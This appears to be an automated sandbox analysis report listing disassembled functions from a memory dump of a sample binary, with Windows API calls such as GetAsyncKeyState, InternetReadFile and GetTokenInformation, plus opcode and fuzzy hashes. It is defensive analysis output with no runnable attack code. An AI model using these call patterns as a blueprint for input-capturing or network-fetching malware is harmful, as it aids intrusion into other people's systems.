API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: 9c4d4a871ffd6536043852c510ba217623613281bd525c12d96f200ad1e4202b
Instruction ID: 13297d92b7f10e3d89f910f9cfbabc297c2c22a85327bd423ed4ead61b84e6b4
Opcode Fuzzy Hash: 9c4d4a871ffd6536043852c510ba217623613281bd525c12d96f200ad1e4202b
Instruction Fuzzy Hash: 8C513B34604245DFCB15DF65C4848ADBBF2FF89324F0481A9E94A9B362DB31ED86CB90

Function 00676B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00676C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00676C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00676C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,0065AB79,00000000,00000000), ref: 00676C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00676CC7

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 454e0e495ff5c581a458acad505b507f9063b8b3072da2285bc31dd0ddb084c2
Instruction ID: 75f4df7ee61b30d554ec828444a336112b6fef8c45aac6aaf19f0e14c767f29e
Opcode Fuzzy Hash: 454e0e495ff5c581a458acad505b507f9063b8b3072da2285bc31dd0ddb084c2
Instruction Fuzzy Hash: 0B41D475604504AFD725DF38CC58FE97BA6EB0A360F148268F89DA73E0C371AD51CA40

Function 00612051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 006120C3
_free.LIBCMT ref: 006120E3

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 95a451f812d069dcf918b35d65b77112e532c64bee7522fac1b94f63c71dd1b9
Instruction ID: c21ab01529a08651838dee9ff975fc75424ddf31c124afc5c153706051f2bcd4
Opcode Fuzzy Hash: 95a451f812d069dcf918b35d65b77112e532c64bee7522fac1b94f63c71dd1b9
Instruction Fuzzy Hash: EB410672A00205AFCB24DF78C891A9EB7F6FF89314F194568E615EB351DB31AD51CB80

Function 005F912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 005F9141
ScreenToClient.USER32(00000000,?), ref: 005F915E
GetAsyncKeyState.USER32(00000001), ref: 005F9183
GetAsyncKeyState.USER32(00000002), ref: 005F919D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: ab5940ddbf6f01d1af2b1151e577a5c2b3924582ea965f2f1108f298896333db
Instruction ID: f3a9a465eadbb3902f1e48eb989430ed63507f788124162cc4fb4dbf955beab9
Opcode Fuzzy Hash: ab5940ddbf6f01d1af2b1151e577a5c2b3924582ea965f2f1108f298896333db
Instruction Fuzzy Hash: 80416F71A0860BFBDF199F64C848BFEBB75FB45324F248229E529A3290C7346950CB91

Function 00653874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 006538CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00653922
TranslateMessage.USER32(?), ref: 0065394B
DispatchMessageW.USER32(?), ref: 00653955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00653966

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 942ddb2a399d9055a9de5a1f99634c9557b538ac9b4e0328efb436905161074f
Instruction ID: b8c07678240200c18199bb9e11c1038343a13d1fd795e6cca8aa825f60439d18
Opcode Fuzzy Hash: 942ddb2a399d9055a9de5a1f99634c9557b538ac9b4e0328efb436905161074f
Instruction Fuzzy Hash: 6E31EAF0504355AEEB39CB34D858BF637EAAB02782F44055DE856C6390F7B496C9CB11

Function 0065CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,0065C21E,00000000), ref: 0065CF38
InternetReadFile.WININET(?,00000000,?,?), ref: 0065CF6F
GetLastError.KERNEL32(?,00000000,?,?,?,0065C21E,00000000), ref: 0065CFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,0065C21E,00000000), ref: 0065CFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,0065C21E,00000000), ref: 0065CFF2

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: aace1c2fb03bdcd0039c408d875092bb13e2ded87a1238f14c8d7cb2032b2513
Instruction ID: 8ffe38fe3fed598acacfd620aa836ce5b7cdd50d813303ef90028dcfb1bd05ad
Opcode Fuzzy Hash: aace1c2fb03bdcd0039c408d875092bb13e2ded87a1238f14c8d7cb2032b2513
Instruction Fuzzy Hash: 14318E71600305EFDB24DFA5C8849ABBBFAEF04326F10442EF91AD2241DB30AE45DB60

Function 00641901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00641915
PostMessageW.USER32(00000001,00000201,00000001), ref: 006419C1
Sleep.KERNEL32(00000000,?,?,?), ref: 006419C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 006419DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 006419E2

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 6c25f47f27b4a05865179a615d2d1a6d63bf21569b04722e5d984ad5708b530c
Instruction ID: e4d95565871577358cd37adb541c27b07a6ebad367f8c25ad04f48fe10538015
Opcode Fuzzy Hash: 6c25f47f27b4a05865179a615d2d1a6d63bf21569b04722e5d984ad5708b530c
Instruction Fuzzy Hash: BD31B171A00219EFCB04CFA8CD99ADE7BB6FB45325F104229F925AB2D1C7709D94DB90

Function 00675706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00675745
SendMessageW.USER32(?,00001074,?,00000001), ref: 0067579D
_wcslen.LIBCMT ref: 006757AF
_wcslen.LIBCMT ref: 006757BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00675816

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 76ebc7f4f2a8fa591eb7c63fd62bef2fc59101e3255e39206a537e7b77e470de
Instruction ID: d8e8b99ed6590f4e788d79215759aa6fea45b4095a4b226064933d540b023a12
Opcode Fuzzy Hash: 76ebc7f4f2a8fa591eb7c63fd62bef2fc59101e3255e39206a537e7b77e470de
Instruction Fuzzy Hash: 822167719046189ADB249F64CC85AEE77BAFF04724F10C25AE92EDA2C4D7B099C5CF50

Function 00660930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00660951
GetForegroundWindow.USER32 ref: 00660968
GetDC.USER32(00000000), ref: 006609A4
GetPixel.GDI32(00000000,?,00000003), ref: 006609B0
ReleaseDC.USER32(00000000,00000003), ref: 006609E8

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 58b51a7cbfca978752a3e661ab04e6902977e619808d5ec42a19b737581aeebb
Instruction ID: dc4420bba1ac93e9486faa5fc8a583cfcf0d255f482dec2e8e87923209c055bb
Opcode Fuzzy Hash: 58b51a7cbfca978752a3e661ab04e6902977e619808d5ec42a19b737581aeebb
Instruction Fuzzy Hash: B1218135600204AFE708EF65D889AAFBBE6FF45711F04847DE84AA7352DB70AD44CB90

Function 0061CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0061CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0061CDE9

Part of subcall function 00613820: RtlAllocateHeap.NTDLL(00000000,?,006B1444,?,005FFDF5,?,?,005EA976,00000010,006B1440,005E13FC,?,005E13C6,?,005E1129), ref: 00613852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0061CE0F
_free.LIBCMT ref: 0061CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0061CE31

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 3ab61600c60db97104f80acb34b56745f0bd13e5c53352ab9d1bbd05554db82c
Instruction ID: dc71ab20bd146a7632d7dc3be83b423532ae87a226c05b14b2ee4a394dc5ba26
Opcode Fuzzy Hash: 3ab61600c60db97104f80acb34b56745f0bd13e5c53352ab9d1bbd05554db82c
Instruction Fuzzy Hash: 3C01D4726412167FA32116BA6C88CFF6A6FDFC6BB1319012DF909C7300EA608D8281B0

Function 005F9639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 005F9693
SelectObject.GDI32(?,00000000), ref: 005F96A2
BeginPath.GDI32(?), ref: 005F96B9
SelectObject.GDI32(?,00000000), ref: 005F96E2

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 7fd90318f48531e025c9ece3c199c140a20fe5f2ac1596a0a6a3c79aadca430e
Instruction ID: 9e5a7f7bc24168a74a3f7c4341f979f516abf45f640d1a10138989932d40f161
Opcode Fuzzy Hash: 7fd90318f48531e025c9ece3c199c140a20fe5f2ac1596a0a6a3c79aadca430e
Instruction Fuzzy Hash: 58216DB0802749EBDB11AF64DC287B93FAABB42325F50131AF514AA1A0D37458D1CBD4

Function 00645711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00645726
_memcmp.LIBVCRUNTIME ref: 00645744
_memcmp.LIBVCRUNTIME ref: 00645757
_memcmp.LIBVCRUNTIME ref: 0064576F
_memcmp.LIBVCRUNTIME ref: 00645787

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 1fb977fceb44a9096a4d08fd5dc3276827b4064b2f1e125ded22bb16342d2a4d
Instruction ID: fc5177129bb8aa594f7fef73b8f4f11cbcffc8bfa0644fba8984edcdd6e712bd
Opcode Fuzzy Hash: 1fb977fceb44a9096a4d08fd5dc3276827b4064b2f1e125ded22bb16342d2a4d
Instruction Fuzzy Hash: F50156A1681605FBE30C56119E52EFB735FEB61794B008035FD0A9E682FA61ED11C2A5

Function 00612DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0060F2DE,00613863,006B1444,?,005FFDF5,?,?,005EA976,00000010,006B1440,005E13FC,?,005E13C6), ref: 00612DFD
_free.LIBCMT ref: 00612E32
_free.LIBCMT ref: 00612E59
SetLastError.KERNEL32(00000000,005E1129), ref: 00612E66
SetLastError.KERNEL32(00000000,005E1129), ref: 00612E6F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: cc3fecb5b305cbe6132a38d512cf9a85533b01d936c8c86c15af5b4458ac1873
Instruction ID: 6a430c22b543959f164affc86518db3a1df96e6debe746aa3346ceaf0ee53c15
Opcode Fuzzy Hash: cc3fecb5b305cbe6132a38d512cf9a85533b01d936c8c86c15af5b4458ac1873
Instruction Fuzzy Hash: 38012D3224560267C71277396C95DEB155FAFD1775B2D042CF419E23D2EF308CE14120

Function 0064000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0063FF41,80070057,?,?,?,0064035E), ref: 0064002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0063FF41,80070057,?,?), ref: 00640046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0063FF41,80070057,?,?), ref: 00640054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0063FF41,80070057,?), ref: 00640064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0063FF41,80070057,?,?), ref: 00640070

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: d061455623b70225c7292aaf39b310feb064beb5069c623b52faabaaaabdd8ed
Instruction ID: f98b46af90432d75a27ec2f3195b35652ccab5d75e4c86ce6f195d3928a9be66
Opcode Fuzzy Hash: d061455623b70225c7292aaf39b310feb064beb5069c623b52faabaaaabdd8ed
Instruction Fuzzy Hash: 78018F72600224BFEB205F68DC04BAA7EAFEB44B61F145128FE09D2210D771DE808BA0

Function 0064E97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 0064E997
QueryPerformanceFrequency.KERNEL32(?), ref: 0064E9A5
Sleep.KERNEL32(00000000), ref: 0064E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 0064E9B7
Sleep.KERNEL32 ref: 0064E9F3

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 11dbdbd64a7c606c2c6050ec86845013487e7d26020a2057fb6ed9f0ad91b8fb
Instruction ID: d356280e786c969adce460feb5632b4cc9f0117bdab96b8232d4875f6fd90acc
Opcode Fuzzy Hash: 11dbdbd64a7c606c2c6050ec86845013487e7d26020a2057fb6ed9f0ad91b8fb
Instruction Fuzzy Hash: 6B018C31C0162DDBCF04AFE4DC59AEDBB7AFF09320F40055AE502B2281CB359691CBA1

Function 006410F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00641114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00640B9B,?,?,?), ref: 00641120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00640B9B,?,?,?), ref: 0064112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00640B9B,?,?,?), ref: 00641136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0064114D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: c2b80f382bbbc360d8839cc550bb215760239b4bfe28b2ffad36ac8869230c89
Instruction ID: bfcc7d81344c3efc4ab4437181860eb0f3dc43a9274005e34bd17d13f8603163
Opcode Fuzzy Hash: c2b80f382bbbc360d8839cc550bb215760239b4bfe28b2ffad36ac8869230c89
Instruction Fuzzy Hash: 94013175100205BFDB154F65DC49EAA3F6FEF86371B104429FA45D7350DB31DC809A60

Function 00640FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00640FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00640FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00640FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00640FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00641002

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: a7847d8ff4e9f0bd7fb37407b11358e78e4d426adbef964cd4fbf011be2b9803
Instruction ID: 4fccbca3123566001e9d8d9a2b3b1a91d9f654b95c3b741a59488730d2abbc85
Opcode Fuzzy Hash: a7847d8ff4e9f0bd7fb37407b11358e78e4d426adbef964cd4fbf011be2b9803
Instruction Fuzzy Hash: 74F04F35100301ABD7254FA4EC49F963FAEEF8A761F504428F949DA251DA71DCC08A60

Function 00641014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0064102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00641036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00641045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0064104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00641062

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
